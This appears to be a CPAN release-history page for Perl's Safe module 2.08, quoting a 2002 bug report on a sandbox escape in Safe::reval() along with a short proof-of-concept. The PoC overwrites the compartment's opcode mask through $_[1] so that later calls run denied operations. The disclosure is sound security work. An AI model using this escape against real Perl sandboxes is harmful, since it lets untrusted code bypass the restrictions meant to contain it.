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Release history of Safe
Tag: 2.11

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This is a backport to CPAN of the perl core module

It is currently maintained by the Perl 5 Porters. Thus, you should use
the perlbug utility to report bugs in it. 2.08

This CPAN release is a minor update of that fixes a security
problem in reval and rdo where they would only be safe on the first run.

The following is from Andreas Jurenda who discovered the bug.

From: "Andreas Jurenda" <andreas.jurenda  at>
To: <perlbug  at>
Subject: Security-Hole in module
Date: Fri, 4 Oct 2002 09:24:10 +0100

Well, I have found a security problem in module

Sorry at may english, but my tongues are Pascal, Basic, C, C++,... maybe Perl but
neither german nor english, but I will do my best ;-)

The problem belongs to these two versions of Version 2.06 at Perl 5.6.1 and Version 2.07 at Perl 5.8.0

In both versions there is the same code for Safe::reval()

Safe::reval() execute a given code in a safe compartment.

But this routine has a one-time safeness.
If you call reval() a second (or more) time with the same compartment, you are
potential unsafe.

These depends on the values of @_ at the entrypoint of the safe compartment.

Have a look at the source code of Safe::reval()


sub reval {
    my ($obj, $expr, $strict) = @_;
    my $root = $obj->{Root};

    # Create anon sub ref in root of compartment.
    # Uses a closure (on $expr) to pass in the code to be executed.
    # (eval on one line to keep line numbers as expected by caller)
        my $evalcode = sprintf('package %s; sub { eval $expr; }', $root);
    my $evalsub;

        if ($strict) { use strict; $evalsub = eval $evalcode; }
        else         {  no strict; $evalsub = eval $evalcode; }

    return Opcode::_safe_call_sv($root, $obj->{Mask}, $evalsub);

In the last line there is the call for the execution of our $expr.
Inside $expr at runtime there are @_ set with ($root, $obj->{Mask}, $evalsub).

And thats the hole, because $_[1] is directly linked to $obj->{Mask}.

Modifying of $_[1] manipulate directly the operationmask of the safe compartment!

At the first time calling reval() and manipulation $_[1] has no effect.
But after that the second (and more) call you get the (un-)"safe" compartment with
the manipulatet operation mask!


$codefullopmask = '$_[1] = chr(0x00) x 44;';   # at Perl 5.6.1 and 5.8.0 there are
352 built in opcodes (352/8=44)

$codewithtrape = <<'EOC';
opendir(DIR,"."); @d=readdir(DIR); closedir(DIR);
foreach my $dt (@d) { print "$dt\n"; }

use Safe;
$safe=new Safe;
$safe->deny(qw(opendir));       # deny opendir: You can't use opendir() inside the
safe compartment

$safe->reval($codefullopmask);  # this manipulate the operation mask to full
capability of all opcodes
$safe->reval($codewithtrap);    # now there is NO trap for opendir, and you get the

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